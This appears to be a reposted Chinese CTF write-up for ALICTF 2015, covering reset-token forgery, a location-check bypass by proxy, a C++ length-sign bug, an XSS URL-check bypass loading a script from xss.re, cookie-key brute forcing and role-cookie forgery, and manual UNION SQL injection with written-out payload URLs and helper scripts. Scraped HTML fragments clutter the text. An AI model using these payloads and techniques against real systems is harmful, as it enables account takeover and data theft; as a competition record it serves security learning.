ALICTF2015 writeup(二)(第三排)

来源:互联网 发布:网线摄像头软件 编辑:程序博客网 时间:2024/06/06 07:35

业务逻辑和渗透

发现有好几种奇怪的特征,如可以以同样的用户名注册不同的密码,可以以 admin\s+注册用户并登陆等等,故一直在这些业务逻辑上寻觅编程漏洞,然而一直没有什么收获。还发现可以直接找回admin\s* 的密码,但收不到找回密码的邮件。

查看找回密码 http://jinan.alictf.com/resetpass/index.php 源代码,发现页面底部给出了服务器时间和一串神秘的 key。

给出了时间,莫非是要猜测重设密码的 Reset token?reset token 可能和时间直接相关,也可能间接相关(如伪随机数)。先尝试简单的,与时间直接相关。

查看邮件中收到的 reset token,从长度来看是 md5,丢进 cmd5 破解发现并没有记录,于是尝试自行猜测这串 md5 的构造方法。

<?php$ord = [    [0, 1, 2],    [0, 2, 1],    [1, 0, 2],    [1, 2, 0],    [2, 1, 0],    [2, 0, 1],    [0, 1],    [1, 0],];$opt = [    'swx2',    '1427621772',    '673f3e705c8d5b7af675f309e58d46c9'];foreach ($ord as $order) {    $concat = '';    foreach ($order as $i) {        $concat .= $opt[$i];    }    echo $concat."\t".md5($concat)."\n";}

手工构造了一些可能的组合,交给 PHP 运行,发现并不能匹配到 reset token。怀疑由于网络延迟关系时间戳不对,然而尝试修改时间戳到前后 3 秒仍然无法和 reset token 匹配。

翻阅邮件,发现找回密码的邮件发送时间实际上是这个时间戳的 5 秒前,于是修正时间戳再次尝试,成功匹配上了。匹配到的构造方式为:md5($username . $timestamp . $testKey)

于是申请 admin 的密码找回,然后按照该方式构造 md5,成功重设密码登录进去。

登录后提示不允许异地登陆…

那什么是异地呢?是不是从阿里巴巴所在的杭州连接就不是异地了呢?尝试利用阿里云杭州节点请求,发现仍然提示异地。想起来网页标题中提示了是山东省济南市的人才信息管理系统,遂寻找了一个山东济南的代理,挂上去之后成功登录获得了 flag。

代码血案

该题给出了 cpp 源代码和一个服务端口。由于给出的服务端口仅允许提交 4 次 token,还不知道触发一次漏洞需要提交几次 token,因此自己架设了一个服务器进行实验。

阅读源代码,瞬间发现 socket_read_callback 中对 token 的处理存在漏洞:recv_request 中以buffer 的首字节作为长度读入 token,而check_token 中将 token 作为一个 NUL-terminated 字符串进行处理。然而环顾四周发现,这个漏洞无法利用。

继续读源代码,发现 rpc_readlog 中存在一个致命漏洞:if (len < 0) len = -len。这样的代码一看就是作者故意留的漏洞:len 的类型为char,当len-128 时,-len 仍为 -128。下面 malloc(len + SAFE_SPACE_LEN) 将会申请一个 2 字节的位于堆中的缓冲区并进行 readlog。再看readlog 代码,使用了相同算法对 len 进行处理。通过实验和阅读代码,快速发现只要secretKey=c4852c706e64b5bc502b45c76392074c165a5f21e5aca3e6pos+len>=0,并且log 中存在内容即可触发漏洞。构造 payload 提交到官方服务器获得 flag

前端初赛题3

阅读代码可知,代码会以 URL 方式解析 URL 的 search 部分(这里称为 targetURL)。如果 targetURL 满足测试条件,则会以脚本方式加载这个 URL。显然,这里要让 targetURL 为自己的 XSS Script 地址。然而,代码中会测试 targetURL 的authority 部分是否为notexist.example.com,因此这题实际上是要分析代码中的逻辑漏洞,绕过这些测试。

首先阅读 jQuery.getScript() 源码看看jQuery.getScript() 是否会对地址进行一些处理产生突破口。发现它实际上调用的是jQuery.ajax()。继续分析代码,发现 jQuery 并没有对 URL 进行特殊处理等操作,(某些情况下简单地追加参数)直接传给了XMLHttpRequest

因此实际上我们需要构造特别的 URL,使得浏览器认为它是一个正确的 URL 成功加载 XSS 脚本,并通过代码中的检验。

阅读代码发现它特别判断了 usernamepassword 部分的正斜杠,这是一个线索。然而经过各种测试,均未能利用正斜杠对代码实现攻击。放弃正斜杠后,尝试构造畸形 URL。测试@ 符号,发现当 URL 中存在多个@ 时,Chrome 会将前面几个 @ 符号编码,作为username 部分。显然代码中处理逻辑并不是这样。于是找到了突破口,构造 payload:

<code data-origin="" 
http://ef4c3e7556641f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798">http://ef4c3e7556641f00.alictf.com/index2.php?http://hello@notexist.example.com:x@xss.re/7798

<code data-origin=""

成功绕过了脚本的 URL 检查,加载 XSS 脚本。

<code data-origin=""

简单业务逻辑2

进入页面点击 Article 提示 Only Admin!,应该是需要提权。在网页源代码中发现 encryptdecrypt 函数,分析后发现

<code data-origin="" 
encrypt(P)=md5(P)⊕R⊕V·R">encrypt(P)=md5(P)⊕R⊕V·R

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
decrypt(C·R)=C⊕R⊕V">decrypt(C·R)=C⊕R⊕V

<code data-origin=""

<code data-origin="" 
其中R为通过时间生成的md5序列。

<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
decrypt(encrypt(P))=md5(P)">decrypt(encrypt(P))=md5(P)

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
发现名为 role的 Cookie,其中包含长度与 encrypt 结果相同的值,而尝试 decrypt 后发现结果并不为仅包含 [0-9a-f] 的字符串。然而多次登录网站产生的不同 roledecrypt 出相同的内容,说明确实是 encrypt 产生的。观察算法,发现 V=md5('??????'),看起来似乎需要爆破。

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
编写爆破代码并使用小集群进行破解。

<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
var cluster = require('cluster');var crypto = require('crypto');var cookie = new Buffer('ZjZkPDRhYzRnYTM5bDdmNGFkYjI3a2NnMjg6YWZrMTtWUwEBVgJcAgYEBAYMUlJTUgYCUgABAQUEU1EBBwpWUg==', 'base64');var charset = '0123456789abcdefghijklmnopqrstuvwxyz';var numCPUs = 60;if (cluster.isMaster) {  var a = 0, b = 0;  function forkNew() {    if (a < charset.length && b < charset.length) {      cluster.fork({start: charset[a] + charset[b]});      if (++b >= charset.length) {        b = 0; ++a;      }    }  }  for (var i = 0; i < numCPUs; ++i) {    forkNew();  }  cluster.on('exit', function(worker, code, signal) {    if (worker.suicide)      forkNew();  });} else {  function decrypt(flag) {    var md5 = crypto.createHash('md5');    md5.update(flag);    var q = md5.digest('hex');    q += q.split('').reverse().join('');    for (var i = 0; i < 32; ++i) {      var p = q.charCodeAt(i) ^ q.charCodeAt(i + 32) ^ cookie[i] ^ cookie[i + 32];      if ((p >= 48 && p <= 57) || (p >= 97 && p <= 102))        continue;      return false;    }    return true;  }  var start = process.env['start'];  console.log('Trying ' + start + '...');  for (var c = 0; c < charset.length; ++c) {  for (var d = 0; d < charset.length; ++d) {  for (var e = 0; e < charset.length; ++e) {  for (var f = 0; f < charset.length; ++f) {    var flag = start + charset[c] + charset[d] + charset[e] + charset[f];    if (decrypt(flag)) {      console.log('Found flag: ' + flag);      break;    }  }  }  }  }  console.log()  cluster.worker.kill();}
<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
node validate.js | tee log_file

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
发现数十个V能使 decrypt(role) 为仅包含 [0-9a-f] 的字符串。

<code data-origin=""

<code data-origin="" 
<code data-origin="" 

<code data-origin=""

<code data-origin="" 
<code data-origin="" 

其中当 V=md5('lanlan')时,decrypt(role)=md5('Guest')

<code data-origin="" 
decrypt(cookie, 'lanlan') -&gt; adb831a7fdd83dd1e2a309ce7591dff8">decrypt(cookie, 'lanlan') -> adb831a7fdd83dd1e2a309ce7591dff8cmd5(adb831a7fdd83dd1e2a309ce7591dff8) -> 'Guest'

<code data-origin=""

我们将 role改为 encrypt('Admin'),成功取得管理员权限进入 Article。

<code data-origin=""

屏幕中央写着 nothing in cookie!,于是查看 Cookie,发现有一个 article cookie 内容是 php 下 serialize(1) 的结果 i:1;

<code data-origin=""

<code data-origin=""
<code data-origin="" 
<code data-origin="" 
尝试改成 serialize(0), serialize(2) 加载页面,发现会获得不同的内容。于是先随手写个程序枚举 0-200 看看有哪些内容:

又获得提示,SQLInjection!

由于比较懒,所以想修改程序改成一个 bridge Server 供 SQLMap 自动化注入(将 GET 参数 serialize() 后放入 cookie 请求服务器,并返回结果):

var cookie = 'article=[--i--]; role=Mjc1bWVmMzBhNzk2ODBka2EwYTZkYjNlbjxjZWwyMGgGBVMOUVBdAVIBCAFTAQEEU1AGBAdQA1IJVgEECgRUDA; LoginState=.....; PHPSESSID=.....';var referer = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/index.php?token=....';var url = 'http://cbcd512994370fc3d6a05eb9a73b31e9.alictf.com/dba8880fbcc025266576950828b2c4a7/arrrrrrrrrrrticle.php?token=....';var request = require('request');var cheerio = require('cheerio');var express = require('express');var app = express();function serialize(...) {  // see http://phpjs.org/functions/serialize/}app.get('/', function (req, res) {  request.get(url, {      headers: {          cookie: cookie.replace('[--i--]', encodeURIComponent(serialize(req.query.article))),          Host: 'cbcd512994370fc3d6a05eb9a73b31e9.alictf.com',          Referer: referer,          'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.104 Safari/537.36',      }  }, function(err, response, body) {      if (err) {          console.log(err.stack);          res.status(500).end();          return;      }      var $ = cheerio.load(body.toString());      var lead = $('.lead');      var text = lead.text();      res.end(text);  });})var server = app.listen(3000, function () {  var host = server.address().address;  var port = server.address().port;  console.log('listening at http://%s:%s', host, port);});

结果发现由于还过滤了左括号 SQLMap 无法自动化注入 :-(

只能手工注入了。

<code data-origin="" 
http://localhost:3000/?article=1000%20union%20select%201,%20table_name%20from%20information_schema.tables%20WHERE%20TABLE_TYPE=%22BASE%20TABLE%22%20LIMIT%20[i],1">http://localhost:3000/?article=1000%20union%20select%201,%20table_name%20from%20information_schema.tables%20WHERE%20TABLE_TYPE=%22BASE%20TABLE%22%20LIMIT%20[i],1

<code data-origin=""

写个代码从 0 到 100 枚举上述地址 [i] 部分从而获得所有表。

<code data-origin="" 
<code data-origin="" 
...">...24 TABLE_PRIVILEGES25 TRIGGERS29 flag30 columns_priv31 db34 general_log35 help_category36 help_keyword33 func...

<code data-origin=""

<code data-origin="" 
发现其中有一个叫 flag 的表,想必就是 flag 了…

<code data-origin="" 
<code data-origin="" 
<code data-origin="" 
http://localhost:3000/?article=1000%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%22flag%22%20LIMIT%201">http://localhost:3000/?article=1000%20union%20select%201,COLUMN_NAME%20from%20information_schema.COLUMNS%20WHERE%20TABLE_NAME=%22flag%22%20LIMIT%201

<code data-origin=""

<code data-origin="" 
<code data-origin="" 
查询到只有一个列叫做 flag。于是成功获得 flag。

<code data-origin=""
<code data-origin="" 
<code data-origin="" 
第三排的最后道  branch  ====暂时无解  待续   如果有解法再放上来
0 0
原创粉丝点击